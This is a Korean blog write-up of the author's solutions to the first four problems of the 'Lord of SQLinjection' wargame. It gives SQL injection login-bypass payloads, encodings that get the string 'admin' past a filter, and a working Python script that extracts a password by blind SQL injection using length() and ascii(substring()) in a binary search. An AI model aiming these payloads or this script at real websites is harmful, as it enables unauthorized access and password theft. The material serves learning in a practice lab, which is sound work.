Play/wargame

[LOS] Lord of SQLinjection 1~4 문풀 정리

병뚜 2022. 10. 4. 19:41

LOS 링크: https://los.eagle-jump.org/

URL ENCODING 표 : http://urin79.com/blog/7424512

 

1) URL Encoding :: # (%23)

 

2)

id='admin' or 1=1%23 했는데 안됨.

이유: 당연함. 1=1 하면 전체 데이터 조회이다. 그럼 제일 위에 있는 계정으로 로그인됨. 

그러므로 admin 타겟팅 해주어야 한다.

id='admin' or id='admin'%23

 

3) URL Encoding :: ' (%27)

 

4) admin 문자열 우회 (preg_match 우회)

%61%64%6D%69%6E : admin

char(97,100,109,105,110): 'admin'

concat('a', 'd', 'm', 'i', 'n’): 'admin'

0x61646D696E: admin

 

 

5) LOS 4번 (참고 블로그)

Blind SQLInjection 

문제에서 정확한 pw를 찾으라 할 때.

구문: select id from prob_orc where id='admin' and pw=' ' 

==> length(pw) 이용

?pw=' or id='admin' and length(pw)=1%23 통해 길이 알아내기.

 

그럼 첫번째 글자 알아내기 위해서는?

==> ascii(substring(pw,시작글자,몇글자)) 이용

import requests

url = ""
cookie = {"PHPSESSID": ""}


def pw_length():
    pwlength = 1

    while True:
        param = {"pw": "'or id = 'admin' and length(pw)={} #".format(pwlength)}
        req = requests.get(url, params=param, cookies=cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1


def pw_find():
    length = pw_length()
    pw = ""
    for i in range(length):
        start_num = 1
        end_num = 127
        value = 64
        while True:
            param = {
                "pw": "' or id = 'admin' and ascii(substring(pw,{},1)) = {} #".format(
                    i + 1, value
                )
            }
            print(param)
            req = requests.get(url, params=param, cookies=cookie)
            if "Hello admin" in req.text:
                pw += chr(value)
                break
            else:
                param = {
                    "pw": "' or id = 'admin' and ascii(substring(pw,{},1)) > {} #".format(
                        i + 1, value
                    )
                }
                req = requests.get(url, params=param, cookies=cookie)
                if "Hello admin" in req.text:
                    start_num = value
                    value = (value + end_num) // 2  # //연산자는 나눗셈의 몫을 가져온다.
                else:
                    end_num = value
                    value = (start_num + value) // 2
    print("password: ", pw)


print("password length: ", pw_length())
pw_find()

 

탐색 알고리즘 공부하러 갑니다.

 

- 작성 중 -